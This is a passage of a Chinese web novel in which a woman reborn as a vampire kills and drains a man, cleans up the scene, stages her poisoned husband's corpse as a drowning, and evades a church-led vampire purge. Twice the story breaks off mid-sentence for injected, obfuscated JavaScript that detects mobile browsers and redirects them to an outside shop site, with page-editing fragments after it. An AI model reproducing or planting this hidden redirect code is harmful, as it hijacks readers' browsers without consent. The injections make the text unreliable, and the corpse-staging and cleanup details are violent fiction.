没有人会因此丧命,她可以堂而皇之获得稳定的食物来源。
更重要的是,在工作间墙壁内,一个被挂画遮挡起来的隐蔽小洞里,她找到了一个上锁的小匣子。
□□后,莱尔在里面发现了三四个小小水晶瓶。
瓶身的样式和道森带来的那瓶腐化水很像,里面的液体颜色也是莱尔从没用见过的。
好在上面贴有贴纸。
[伤口清洗水]、[降温水]、[咳嗽水],莱尔仔细辨别斑驳的文字,随后直起身来。
她猜测,这应该就是某种奇幻版的药物,拥有和腐化水差不多的神奇作用,否则不会被藏在如此隐蔽的地方。就是数量和种类实在少的可怜,不过有总比没有强。
现在,诊所、药剂都有了,只要她能安然度过葬礼,她就可以暂时在这个世界站稳脚跟。
这种愉悦在莱尔发现隐藏地下室时更是直接达到了高/潮。
医生需要找一个地方存储病患不要的某些部分,否则直接拎出去扔掉会引发恐慌,她那位死掉的丈夫也同样如此。
在通向厨房的某块地板下方,有一个自己挖出来的独立空间。
莱尔在这里找到了好几个曾装过血液的盆,边缘覆盖着厚厚的凝固血迹。
角落里还有可疑的碎肉以及指甲,她还发现了装有牙齿的抽屉和刚合适她的黑色长围裙。
上面的颜色斑驳一片。
太合适了,一个完美的藏匿之地。
莱尔套上围裙,在卧室里找出许久不用的破旧床单,平铺在地下室的地面上。
然后她单手将道森抗下地下室,放到了床单上方。
莱尔是位资深医生,她明白从哪里下刀、如何用力能更快更好的把“食物”分开,还不会弄脏周围——
咦?
莱尔摸了摸男人的腿,眼底流露出不易察觉的贪婪。
那里很软且富有弹性。
看来新生儿血族的饭量并不大,一顿饱餐下来甚至还有不少剩余。
本着不浪费食物的原则,她洗干净了两个盆放在道森的腿下,又用绳子将道森绑起来,挂在房梁上。再在下方合适的位置摆上两个木盆,随后用刀割开了道森的脚踝。
还带着温度的血液缓慢砸进木盆。
很快,视野中半透明的光幕便直观呈现出存储血液的数量。
[存储血液:8ml/3000ml]
[存储血液:12ml/3000ml]
…..
存粮渐渐增长这件事莫名让莱尔的情绪平稳下来,她忍不住又吃了两口饭后“小零食”,才转身回到卧室,目光扫过满地狼藉。
道森握着刀挣扎过,地板上有长长的划痕和迸溅的血迹。
那是绝对不能被人发现的,必须清理干净。
就在莱尔吭哧吭哧擦洗地板的时候,刻印着鸢尾花的马车也抵达了小修道院。
“安东尼牧师。”车夫满头大汗地跳下车,和一位身穿长袍的老人深鞠一躬,恭敬地说道,“我按照您的要求,将哈维·托马斯医生葬礼所需要的东西送来了。”
“愿圣父保佑你。”安东尼和善微笑着,再次确认道,“哈维的尸体还在家中?”
车夫打开车舱无知无觉踩在被腐蚀出来的小坑上,一边搬东西一边回答道,“是的,夫人没有搬动过。”
安东尼满意点点头。
医生是前天死亡的,在他判断那可敬的医生已经回归圣父的怀抱时,就立刻通知了远在前线的维格·托马斯。
圣鸽带回来了维格的消息:不要挪动我哥哥的尸体,我要亲眼查看。
一名上过战场、迄今为止仍在战场的圣骑士长,所拥有的地位是一名普通牧师远不能及的。
所以即使是在这样的天气,他依然要确保圣骑士长的命令被准确执行。
很快,车夫将所有东西搬了下来。
在他离开前,牧师递过去一串马鞭草制作的胸花。
“今天辛苦你了,”牧师慈祥地说,“这是浸泡过圣水的马鞭草,对吸血鬼有轻微灼伤作用。血族尚未被全部剿灭,大部分中央城居民都将拥有。”
“佩戴好它,孩子,圣父会保佑你。”
4. 第 4 章
莱尔简直不敢相信,自己居然对清扫凶杀现场如此信手拈来。
她在急诊工作五年,对如何处理血迹、发现边边角角的迸溅简直熟练得可怕。
哈维上等的家庭条件也为她提供了不少合适的工具。
等确认屋子里面和被舔过一样干净后,莱尔才终于有时间去查看道森的随身物品。
任何能够获得情报的事她都不会放过——什么情报都不知道的焦虑时刻啃食着她。
不过她意外发现,除了一把月亮形状的黄铜钥匙、几枚圣金币和一张中央城的地图以外,道森衣服里居然还装着一张熟悉的葬礼邀请卡,上面的邀请人正是莱尔·冈格罗的名字。
这俩人也太大胆了,莱尔不禁感叹了一句。凶手邀请另一个凶手参加死者的葬礼,所以这个世界一定没有冤鬼还魂之类的事吧?
她把邀请卡放到一边,把造型奇特的钥匙和地图收好,再着手处理两人沾血的衣物。
地下室的地砖下方就是个不错的选择,而且还不需要辅助工具。
作为身体素质已经变异的种族,莱尔认为自己可以大胆一点。
她试探着用两只手指狠狠一掀,整块地砖瞬间就被撬了起来,露出底部的泥土。
这可是没有经过工业洗礼的地砖,实打实的笨重石料。放在以前,莱尔在“把手指卡进去”这一步就歇菜了。
她眨了眨眼睛,感觉焦虑和紧张褪去了一些。她迅速将衣服埋好,再将地砖盖回去。
做完这一切,莱尔仰头望向上方。
“可以试试吧?我都是吸血鬼了。”
而且游戏系统也给出了【快速移动】这一技能不是吗?她应该能跑的像风一样快吧?
莱尔决定试验一下自己的种族天赋。
她随手拿起一块抹布,朝上方猛地一扔。紧接着卯足了劲儿飞奔上楼,摸了一下尸体的额头迅速返回——
“……..啪。”
三秒。
莱尔瞪大了眼睛,她回到原地后默数了三秒抹布才落到她掌心。
可她上抛的高度本就不算太高,估算一下,她一个大概来回….几乎不到一秒的时间?!
比呼吸都快,比心跳更快!而且这还是她对自己的种族天赋并不熟练的情况。
莱尔死死攥住抹布,苍白的手指下淡青色的血管犹如某种古老优雅的纹路。
她嘴角忍不住扯了一下,“还好,至少不算太糟。”
某种程度上来说,跑得快是最重要的事了。
接下来新生的吸血鬼开始不断挑战生理极限,在有限的外部条件下,她先后试验了从二楼不做任何防护直接跳下再跳回去、徒手抬起笨重的橡树沙发并原地挥动八十九下、倒挂在天花板cos蝙蝠进行长距离爬行等等。
她要摸清自己的能力范围,这样才能在真出现意外时做能够真正保护自我的行动。
事实证明,忽略掉游戏背景的话,成为一只吸血鬼真的不赖。
首先,她的脚犹如蜘蛛侠,无论从多高的地方跳下跳上,只要她想,就不会发出任何声音,包括快速移动。
甚至只要她控制得当,那恐怖的、堪比光速的移动速度安静得都不会影响偷东西的老鼠。
其次,她力大无穷。
换算一下重量,她在负重三个成年人的情况下依然能做到悄无声息的移动,且迅捷如风。
她就像真正的幽魂,厉鬼,阿飘,简直强无敌,
但很快,屋内愈发浓郁的尸臭味就让莱尔冷静了下来。
是了,明天就是葬礼了,她隔壁还躺着一具危险的尸体,她不应该继续沉溺于自己的改变之中。
如果明天无法安全度过,或者被所谓的圣骑士长弟弟发现尸体什么不对,那么就算她真的变成超人恐怕也也没用。
想到这,莱尔一头扎进卧室,存放尸体的那间。
闻着空气里迷人的香气,她站在“丈夫”旁边,垂眸从头看到脚。
尸体应该是被从河里打捞上来的,汗毛上粘着细碎的沙粒,皮肤表面泡的发白,始终弥漫着一股河水的腥臭味儿。
道森说过,他俩密谋给医生下了毒。如果想不被发现,一定存在毁尸灭迹的行为。
推进河里伪装成溺毙而亡确实合理又妥善。
但作为一具“淹死”的尸体,哈维医生还不够格。
莱尔无法忍受任何一分一毫暴露的可能,她找来一盆水,混合着从地下室刮出来的泥沙,将医生的两只手泡进里面,用指甲刮来刮去。
直至指甲内全是淤泥和伤口才暂时停止。
接着,她又将医生口鼻周围小心翼翼挑破,再用脏水进行清洗。很快,这几处位置形成了血痂一样的痂皮。
然后莱尔又如法炮制整理了医生的头发、脚趾等等部位,力求还原所有淹死者本该拥有的每处细节。
即使料定这个时代背景应该无法拥有强大的验尸理论,但她依然严谨到可怖的地步。
等她做完这一切,落日刚刚降下地平线,窗帘外的声音逐渐变得嘈杂,连光变成了柔弱的红色。
那是血族喜欢的颜色。
因为再过不久,黑夜就会降临。
可她明白,黑夜降临后并不意味着好时光的到来。
相反,时间流逝的越快,她的危机就越来越重。
尸体可以伪装,那葬礼呢?
莱尔揉着“突突”乱跳的脑门,深吸一口气,认命地拿起邀请卡,仔细阅读上面的地址和流程。
墓地地点:磨坊森林。
下葬的位置则有一个奇怪的名字:圣墓区78-65。
很像某种门牌号。
至于流程倒是很简单,只有牧师为死者诵念祷言,及亲属朋友缅怀这两步。
能撑过去的,莱尔给自己打气。
她取出道森身上翻出来的地图,很快找到了磨坊森林,位于备修道院后方的位置,近得几乎接壤。
值得一提的是,中央城里其实一共只有三座修道院,分别是一座备修道院,一座小修道院,还有一座圣修道院。
其余零零星星散落在街头巷尾的,都是建筑面积很小的“祷告室”,用来为普通人类做祈祷。
其中圣修道院最大最繁华,占据了整个城镇的中央,占地面积极大。
今天早上烧死吸血家族的环形广场,就是圣修道院的前广场。
而且中央城里没有王宫,这是一座宗教治国的国家,神恐怕是唯一的权柄。
莱尔盯着备修道院,立即决定亲自去看一看。
不仅仅是因为她必须熟悉地形,找到稳妥度过葬礼的方法。
还因为道森带来的那瓶腐化水。
莱尔从没见过那种东西,是某种炼金产物?抑或是魔法药水?
道森声称腐化水是从修道院偷出来的,那么自己家里那几瓶医生用的药水,又是从哪里来的?
她对这个世界一无所知,而直面是最快速获取情报的方式。
莱尔在衣柜里淘了身看起来最低调的纯黑丝制长裙,披上长到脚踝的鼬皮斗篷,用凉水不断扑到眼睛里,让整只眼睛红红的,脸颊和睫毛上都变得湿漉漉的后,才提上提篮,站到门前。
为了以防万一,她洗干净腐化水的瓶子,将道森的血装进去。
虽然过不了多久就会凝固,但出门在外,揣上一包能救命的“零食”是非常必要的。
最后一丝阳光被地平线彻底吞噬,无穷无尽的黑暗缓慢压了上来。
熟悉的饭菜味道开始飘散,莱尔调出光幕,上面显示她的饱食度掉到了87点,系统发来温馨提示:您仍处于饱食当中,情绪稳定。
来得及。
她几次攥紧拳头又松开,然后义无反顾推开房门。
风和一群孩子从她身边跑过,他们手里拎着死老鼠和蚯蚓。
“今天一切正常!”打头的男孩大喊着,“没有身上有牙印的老鼠!”
“也没有被咬死的蜘蛛!”
“没找到鸟类的尸体!”
“虫子们都好好的!”
“黑鸽子街没有藏起来的吸血鬼!”
风吹起她斗篷的一角,附近听见孩子们的声音,从二楼探出透的人一下子全注意到了她。
“快看,好像是哈维医生家的那个病秧子夫人!”一些人在窃窃私语,声音毫无阻碍传进莱尔的耳朵。
“她怎么出来了?她的病已经治好了?”
“怎么会?上次她出来时吐了好大一口血,哈维医生的样子仿佛她马上就要死了。”
“她不出来怎么办呢?哈维医生死了,再也没有人能照顾她了。我早上还看到她坐着马车去取订购的百合花。”
一提起医生的突然逝世,所有人都忍不住发出一阵阵唏嘘。
“太可惜了,”最后,莱尔听见一个老妇人喃喃自语哀叹,“没有了哈维医生,我们生病了要怎么办?最近的诊所离这里可要十几条街。”
想到这,老妇人颤颤巍巍又伸出了几寸身体,朝奔跑的孩子们大喊,“慢一点!现在摔伤了可没人给你们治!”
原来“莱尔”是个病秧子。
莱尔将手藏进衣袖深处,默默地记下每句话。
很合理的人设,包括吐血的部分、脸色苍白以及深居简出。
也正因如此,邻居们似乎没有和“莱尔”特别熟悉亲近的。
这简直是不幸中的万幸。
莱尔微微放松脊背,以一种缓慢的步伐走出黑鸽子街。
这确实是一个以中世纪为原型的世界。
某一瞬间,莱尔仿佛走进了古欧洲历史书。
低矮的小房子构成了压抑的大部分景色,鹅卵石街道弯曲狭窄如同血管,排水沟就在脚边,老鼠和街边小贩一样前呼后拥地钻上钻下,像在举行某种狂欢。
运送货物的驴子头垂得很低,“哒哒”的蹄子声沉浸在另一片打铁和织布的嘈杂中,混乱吵闹,仿佛沸腾的开水。
但这里又不太像莱尔熟悉的古欧洲。
在几条街道汇集的小广场上矗立着一个小型集市,造型简单各异的小摊如鱼鳞般挤在一起,半扇猪肉和死鸭子同摞在肮脏的铁板上,堆在一起的死鱼仍在坚持吐泡泡,二手铁器旁边就是新鲜的芜菁和豌豆。
然而明明是很正常点集市,却在莱尔缓步走过时传来几道压抑低沉的声音。
“我向您保证它绝对好用!早上才到的新鲜货,只要好好把它清洗干净,它就绝对能成为最好用的警示器!”
那是混杂在各种喧闹声中不甚明显的声音,可却被听力异常并且时刻处于极度警惕状态中的吸血鬼听见了。
下意识,她抬起了头,精准锁定到了集市最角落的位置。
那是一个夹角,连火把的光都无法清晰照亮摊主的脸。
此时此刻,那位吐沫横飞的摊主正不断低声向对面的顾客说着什么,他还时不时用手拍向脚侧沾满诡异毛发与血渍的铁笼。
摊主张开双手,滔滔不绝,“它至少能在3英尺外闻到血族的味道,然后向所有人发出警示!”
莱尔的眼睛瞬间沉了下来,她再也无法保持冷静,调转脚步悄无声息靠近。
“可是它只剩了一颗头,”被拉住的顾客嫌弃地打量了一眼摊主手里的东西,“虽然睁着眼睛,但谁知道它究竟是不是像你说的一样好用?瞧它脏的!”
那东西确实很脏,睁开的暗黄色的竖瞳空洞死寂,粗糙的暗绿色皮肤沟壑中满是干涸的淤泥、枯草叶、又黑又黏的血块,像是刚从死人堆里拖出来的一样。
顾客的话语让摊主倍感尴尬,但他仍旧为了自己干瘪的钱包努力推销着,“圣父在上,请您看看它瞳孔上的红色膜圈,这是只有血族的禁忌之血才能创造出的产物!虽然这被诅咒的邪恶之物已经死了,但它被烙印在血液中对血族的忠诚可完全不会改变!而且它很便宜,即使我对它做了防腐烂处理,也只要30个圣银!”
顾客摩挲了一下手指上的红宝石戒指,还是摇了摇头。
“好吧好吧这位尊贵的先生,”摊主急迫地将那颗头往前推,“25圣银怎么样?您要知道,如果不是我运气好,这样一颗蜥蜴人的头根本不会流到集市来。而且您应该知道,如果某天您不需要它了,还可以直接卖到修道院去,那里的修士会很乐意收下它的!”
“而且您瞧瞧这被血族改造后的皮有多么坚硬!您完全可以为自己、为家人制作一套软皮甲或者舒适的皮靴!不知道您有没有孩子?您也完全可以用这个当成备用小牧师的练手靶子!”
顾客明显被最后一句说动,他想了想,最后确认道,“你确定这东西能警戒吸血鬼的到来?”
“我向圣父起誓,只要有血族出现在蜥蜴头3英尺附近,它的眼珠就一定会晃动起来!这是刻在血脉中的压制,绝对不会改变!”
“行,成交。”
很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081180|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快,顾客高兴地提着蜥蜴头离开了摊位,他嘟嘟囔囔的,“皮扒下来做双鞋,骨头可以拿去给小弗洛玩。警戒嘛….只留下眼睛就好了。”
顾客哼着歌,丝毫没有注意在蜥蜴头擦过一道漆黑的天鹅绒斗篷时,那双空洞木然的竖瞳,极不起眼的朝那个方向转了一下。
可吸血鬼注意到了。
仅仅只是一下,却让她的心脏差点沉进地狱。
……还好是个喜欢骗人的奸商,刚刚那种晃动幅度,如果不是人类特意注视,根本就不会被注意到。
只是……血液改造?为什么她的技能栏里没有这项号称能改造其他生物的技能?是经验或者等级不够?
那其他血族改造过的仆从,她是否有资格控制?
莱尔忍不住转动眼珠,一错不错盯着那人离开,直至那人的身影完全消失后,她才缓步走向刚刚的摊位。
摊主正蹲在地上激动地数钱,忽然听见头顶传来一道低缓声音。
“那颗蜥蜴人的头,你是从哪里拿到的?”
“当然是捡来….”喜滋滋说到一半的摊主猛的意识到什么,凶狠抬头,却在触及到眼前人时瞬间呆住了。
黑色的丝质斗篷隐没在昏暗之中,宽大的兜帽下只露出半张过于苍白的脸。
但就是这仅有的下半张脸,却美得让人心神震荡。饱满的嘴唇被殷红的口脂勾勒出完美的弧度,纤细的脖颈在幽暗中宛如天鹅。
上好的鼬鼠皮斗篷在微弱的火光照耀下,犹如被镀上一层细碎的金屑,昏暗之中,更衬得眼前这道身影神秘而高贵。
摊主张着嘴巴,霎时间忘记所有语言。
直至顾客温和地朝他笑道,“抱歉,我只是也比较喜欢那颗头,但看到您这里似乎没有更多存货了,所以想问问,您是从哪里得到的?”
“哦哦哦哦——”摊主被这一声惊回了理智,他脸“腾”一下红了,立刻低下头去,手忙脚乱地收起圣银币,“我、我确实没有更多存货了,但这颗头的来源可是我的秘密……”
“啪”的一声,一枚金灿灿的东西落进掌心,摊主登时连眼睛都直了。
“您别误会,”莱尔笑的非常和善,只是紧攥斗篷的手暴露了她此刻的“紧张”,“我丈夫刚刚去世了,现在家里只有我自己。黑暗和安静实在让我太害怕了…..我只是想…只是想……”
“噢….可怜的夫人,”摊主瞪着已经变成金币形状的眼睛,嘿嘿一笑压低声音,“我跟您说,现在我的手里确实没有存货了,因为这颗头来自于遥远的乌鸦城堡。”
“乌鸦城堡您知道吧?就是今天早上大主教抓住的那支吸血家族的老窝。里面藏了不少好东西,听说光是往回拉尸体的车就整整有八十几辆!还不算拉战利品的!这颗头就是我从尸体车进城前走过的那条小路上额…..捡来的。”
莱尔眼神闪了闪,声音愈发轻了,“乌鸦城堡离中央城很远么?那里像这样的东西还有多少?”
摊主看她的眼神立刻变了,好似看见了拥有相同特质的同伴。
“夫人,”他挪近了些,用熟捻的语气说道,“还真看不出来,原来您也想…..不过看在一枚圣金币的份儿上,我建议您暂时还是不要靠近那片区域了,虽然东悬崖不算太远,可毕竟是一整支吸血家族,修道院那帮白驴子可是重视得很。”
“听说他们不仅封锁了进出口,还将整片区域都用圣鸽覆盖了,护送的队伍更是达到了两支玫瑰十字军。如果不是我一开始就在小路上蹲守,打了个他们一个措手不及,我也没法幸运得捞….捡到一颗头。”
“您知道的,虽然吸血鬼很可恶,但它们‘做’出来的东西确实很好用啊!报丧女妖的手指,蜥蜴人的眼睛,悼亡者的喉咙,每一个血族改造过的仆从都能察觉血族的存在,每一只身上都满怀宝藏。修道院又怎么会允许这种东西随随便便流落出来呢?他们早藏着自己用啦!”
每一个被血液诅咒的种族…..也就是说,除了刚刚的蜥蜴人,还有不少其他血族仆从,都是怪物。
所以抓捕血族对于人类来说,也并非什么简单的事。
他们同样经历了战争,因为血族同样拥有数不清的“军队”。
莱尔还想问些什么,但是摊主似乎已经不打算多呆下去了。
确认银币都被好好收起来后,他老鼠似的左看右看,朝最后一位顾客连连摆手,“如果您还想问什么的话,可以在下个圣月的第三天来这里,我会在的!现在,抱歉,我得先走了!”
说完,他几步便消失在黑暗之中。
附近人太多,吸血鬼没有办法当众做些什么,只能转过身,面无表情地穿行于集市之内。
热情的老妇向她推荐马鞭草环。
“绝对新鲜!亲手编织!如果能说服牧师容许你进入修道院将其泡上圣水,就算是血族始祖也会被烫掉一只手的!”
机灵的小伙子向她推荐二手银制匕首。
“虽然只是镀银,还有些磨损,可也足以伤害到所有黑暗生物,尤其是可恶的吸血鬼!相信我,只要您会伸出胳膊,就能让那些怪物因为恐惧而彻底远离您!”
好家伙。
某种比冷风更冰凉的东西顺着斗篷流淌进吸血鬼心底,她第一次直观感受到了这个世界上人类对吸血鬼的恶意。
凭什么?只是喝一丢丢丢血而已,凭什么就要对如此弱小无助又可怜的种族提防成这个样子?
“别挡住巡逻队的路!”
就在这时,莱尔身后忽然传来一声严肃的暴喝,“走远一点!宵禁还有两个圣小时就要开始!来自大主教的新通知!请所有人务必铭记于心!”
她跟随人群向后退去,果然看见一队训练有素、身穿统一银色锁子甲的士兵正暴力驱赶挡路的人,随后大手一挥,将一张羊皮卷轴贴到了人最多的街道交汇处。
那是一张精美的卷轴,两侧勾勒着精致的天竺葵,正中央的文字金色中带着漂亮的银屑,非常显眼且昂贵。
还没等莱尔看清上面的内容,天竺葵忽然动了。
敞开的花苞犹如喇叭,不断用一种威严的声音播报着。
“请所有人注意!注意!来自大主教的新命令!”
“吸血的魔鬼尚未完全剿灭!威胁没有停止!为了所有人类平和安宁的生活,修道院将正式启动最后的血族清除计划!请索拉非索大陆的每个人务必认真配合!”
莱尔:……还有完没完了?!
5. 第 5 章
“轰!”
莱尔的脑子里仿佛劈进一道闪电,一时间她不知道应该先为画上的花会说话震惊,还是为自己即将逝去的小命担忧。
天竺葵依旧嘹亮地重复着那几句话,周围全是人类的附和声。
“早该这样了,那些吸血的怪物应该一直不落的全部抓出来杀死!”
“能够洗干净中央城的血族就太好了!以后宵禁也能取消,出门再也不用为无法避开的阴影而担忧了!”
该担忧的人应该是我吧?
莱尔隐匿在人群里,尽力装作自然的样子聆听着周围对她的杀意,深呼吸几次才遏制住逃跑的冲动。
她隔着攒动的人头,认真观察着那张通告。很快,她敏锐的发现,那并不是画上去天竺葵,而是用密密麻麻的小字堆叠而成的花的图案。
因为遮挡,她暂时看不清小字的具体内容,但血族本身的直觉能够感受到,天竺葵“说话”的力量,似乎就来自于那些字。
“魔法么?还是其他什么力量?”
莱尔眯了眯眼,将目光移动到卷轴的中央。
似乎是为了照顾看不懂文字的平民,天竺葵只播报了开头的部分,剩下其实还有很长一段详细说明。
[大主教的新预言——即使吸血家族已全部阵亡,但吸血的魔鬼尚未完全剿灭,威胁没有停止,所以圣修道院决定立即展开血族清除计划,彻底将这些魔鬼一网打尽!
如果您在接下来的时间突遭圣城十字军的进入,请不要慌张!那是他们在全面排查血族的藏匿!
如果您在夜晚在人烟稀少的街道上遇见圣城十字军,请不要慌张,请主动歌颂神圣祷言或高举修道院所发的浸泡圣水的马鞭草环。
请所有人务必增加白日的外出,如果超过三人检举您超过三日未曾在白日露面,那您将遭受十字军最强硬的检查!
以及,从今日开始,请所有索拉非索大陆的人们务必谨记以下要求:
1.警惕你身边惧怕阳光者
2.注意你身边厌恶大蒜及马鞭草者
3.提防你身边拒绝触碰银器者
4.远离你身边从不咽下人类食物者
5.小心你身边不祷告、不礼拜、不进入修道院者
如有发现符合上述任何一条者,请立即报告至修道院。如消息属实,修道院将给予3圣金币的奖励。
清除血族,人人有责。
请每个人戒备那些来自深渊的魔鬼,遵守宵禁,勇于检举,让索拉非索大陆重归和平与安逸。
温馨提示:任何佣兵或骑士请勿单独捕捉血族,这些魔鬼的危险性超乎想象。
如有佣兵团想要独自捕捉,队伍内必须配备至少一名牧师或修士,否则后果自负,修道院将拒绝承担一切损失。
———圣修道院]
这哪是什么通知卷轴?简直是一张“血族恐惧大百科”。
惧怕阳光、大蒜,不可触碰银器和马鞭草,无法进入修道院,不能食用人类的食物。
她不需要用命去试探自己惧怕的事物,人家已经明明白白告诉她了。
这算为数不多的好消息。
但更烂的消息还在上面。
“血族清除计划。”
莱尔仔细咀嚼着这几个字,以及下方罗列出的三条“友好建议”。
每一条都在告诉她:别着急,我们已经想出了切实可行的方法会把你逮出来。
确实切实可行——十字军会突袭房屋,查验搜索血族存在的可能。还会在入夜时不停在街道上巡逻,如果意外碰上,真是要对自己说一声“恭喜”。
当然,最“美好”的建议在最后——必须保证在白日出门的次数,且一定要确保有人看见。
莱尔缓慢退后,悄无声息离开越聚越多的人群。
街道上每个人都在谈论最新推出的血族清除计划,而唯一的血族穿行而过,发热的脑子疯狂分析着自己存活下去的可能性。
很快,她得出了结论。
她存活的可能性为几乎为零。
莱尔身体微微晃了两下,随后咬紧牙关迅速稳住。
她想活,活着回到原来的世界,
她不想死,她才刚把同竞争副主任位置的同事私下与火葬场勾结的事抖出来,看她崩溃退出竞争;才刚将给妹妹造黄谣的猥琐男引进杀猪盘,看他兴奋投进所有资产;才刚以超低的价格拿下远近闻名的别墅凶宅,正打算和大火的狗场博主合作炒作出来一个养宠基地——
她什么桃子都还没摘,怎么能就这样死在满是敌人的异世界?!
这些敌人还都只是这一种族的储备粮!
莱尔摸着嘴唇上残留的血腥味,她了解自己从不是什么善良美好的人,因为父母双亡,带着妹妹辗转于亲戚家,那无法忘怀的颠沛流离造就了她黑洞般的性格缺陷。
不少亲戚都说速莱尔小时候又乖又听话,长大以后怎么变成了一条疯狗?除了她妹妹她逮谁咬谁,咬住就不松口,不撕下一块皮肉根本不罢休。
因为苏莱尔有极其强烈的“领地意识”,被划进领地内的她拼命保护,领地之外的对她来说无论是亲戚、朋友、同事,全都和路边一条随时会张嘴咬过来的狗没有区别。
因为从小到大,她已经不知道被咬过多少次,强烈的愤怒造就了她如今黑暗无比的人格。
莱尔不觉得自己有错,相反,她感激自己的成长。
而现在,穿越之后,这种“领地意识”被无限放大。
除了她以外,所有会呼吸的生物都在她的领地之外。
包括把她拽进这里的存在。
必须找到,必须杀死。
可现在最重要的是,如何要在这样令人绝望的境况中存活下去?
莱尔的脑子从来没有转的这样快,生存的压力逼迫肾上腺素飙升,她慎重冷静地思考着清除计划中提到的三条。
渐渐的,她居然真的发现了一些不易察觉的“漏洞”。
例如第一条说的十字军会突袭检查房屋,搜索检验,以排除一切可疑。
这几乎让任何藏匿起来的危险都无法躲避,但相对的,只有再达到一个前提时,这一方式才是有用的。
这个前提就是“绝对的地毯式搜索”。
必须保证每一栋建筑都检查到,必须保证每一栋检查过的房屋不会再被悄然侵入。否则,这一条就是笑话。
要知道地毯式搜索虽然很有效,却是一个相当庞大的工程。
莱尔看过地图,即使是依托于落后的中世纪建造的中央城,占地面积依然很辽阔。
数万人生活在这里,逼仄的小巷将整个城镇分割成六大区域,十八条主街盘桓贯穿,数千条幽深的羊肠小道散落其中。
在这样的城镇中发动地毯式搜索,光靠十字军两条腿及落后的人工记录方式,查到生活在城中心的莱尔这里,一定会经历相当漫长且混乱的时间。
她完全可以通过这段时间获得喘息,并找出可以破局的机会。
至于第二条就更不需要担心了,她的速度会快到十字军连她的脸都看不清。
那么只剩下最后的第三条。
其实这一点也暂时不需要太过紧张,莱尔出门前才听见邻居们讨论她上午的出行。
无论下不下马车都没关系,至少有人,有很多人都看见她外出了。只需要稍加引导,这一条就可以作为完美的证言。
死亡镰刀虽然悬在头顶,可至少不是已经贴到脖颈上的皮了。
她还有挣扎的机会不是吗?
想通这一点,莱尔灌铅似的腿终于重新动了起来。就在这时,她忽然察觉到了一股奇怪的违和感。
按照卷轴上的说法,佣兵团里只有队伍里存在牧师时,才被允许去抓吸血鬼。
也就是说,有能力的佣兵在吸血鬼面前不算一盘菜,可牧师却能扭转战局。
牧师是血族的威胁,凭借什么能力?魔法?还是圣经十字架?
即将到来的葬礼上就有一位现成的牧师,她要如何避免被伤害?
莱尔忽然理解了自己的等级为什么是“新生儿”了。
她现在确实和婴儿没什么两样,懵懂无知,身边到处都充满了巨大危险。
可她不能惧怕不前,她也永远不会因为惧怕而停止。
莱尔平复了一下心情,低调离开集市。
然而就像上天故意和她开玩笑一样,在集市外围通向其他街道的交汇处,几名面色冷峻严肃点十字军士兵正随机将路过的人拦下来,用透明的水朝那些人脸上掸去,接着又让他们说出自己的名字并诵念圣父之名。
中央城的街道并不宽阔,狭窄的入口就算仅有两人也足够观察到所有穿行的人类了。
兜帽之下,血族的嘴唇紧紧抿成了一条僵硬的直线。
她借着擦身而过的人流转身,一把将兜帽扯了下来。
黑天还扣着黑色的兜帽,简直像主动告诉所有人“我有问题”一样。
现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081181|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在最重要的就是放松,莱尔努力维持自己的面部表情,同时一双眼睛鹰似的快速扫过周围——
有一个方向没有排查的十字军。
那是….公共马车乘车点!
或许是坚信没有哪只吸血鬼愿意和好几个人类同挤在狭小压抑的封闭马车里——毕竟人类鲜血的味道确实很容易引得吸血鬼失控—— 所以公共马车乘车点只有排队的人群,并没有可恶的银色十字军。
莱尔当机立断,快步朝那里走了过去,毫无阻碍的融进了排队的队伍。
期间她不动声色扫视四周,眼睛在每一间店铺的门牌上掠过。
没有类似腐化水或者伤口清洗水之类的店铺,只有时代气息颇重的铁匠铺、纺织店、工匠工坊之类的。
值得注意的是,每家店铺外都挂着长长的大蒜条,以及卵圆形叶片的马鞭草。
很快,公共马车的队伍排到了她。
正当她打算付钱上车时,几只被绑在一起的、吱哇乱叫的大鹅忽然从她腿边擦过。
“让一让!让一让!”粗旷的农夫挤开所有人,蛮横地抢到了马车最里侧的位置。
接下来,又是两个提着一桶不知什么动物内脏的妇人爬上了马车,沾满泥土的布鞋很快将马车里踩的尘土飞扬,臊臭的味道几乎瞬间就将莱尔扔进屠宰场。
公共马车的规制要比家用马车稍微大一些,但也只是稍微而已。
两排相对的破旧车坐连最基本的垫子都没有,一块已经抽丝卷边的黑布就是最基本的体面了。更别提狭窄的车厢里还要坐六个人。
莱尔望着拼命朝内脏桶里扑的大鹅,护着内脏桶和大鹅激烈斗争的妇人,忽然明白为什么偏偏只有这里不设置十字军排查了。
这种肮脏混乱谁都能乘坐的环境,连穿着洁白神圣锁子甲的十字军完全不愿意涉足吧?
但是包一辆也太显眼了。
她现在最重要的事情就是苟。
莱尔深吸一口气,按照站牌上的价格,支付了16枚圣铜币,买了一个前往磨坊森林的位置。
票贩子抬头看了她好几眼,在发现她面色苍白、眼眶红红后,挑了挑眉说道,“夫人,距离宵禁没有多少时间了,您还是要去修道院做祷告么?”
备修道院就在磨坊森林旁边,莱尔反应极快地点点头,露出一个极度悲伤的表情,“我、我的丈夫葬在了那里,我只是非常非常想念他,如果不看他一眼,我根本无法入睡。”
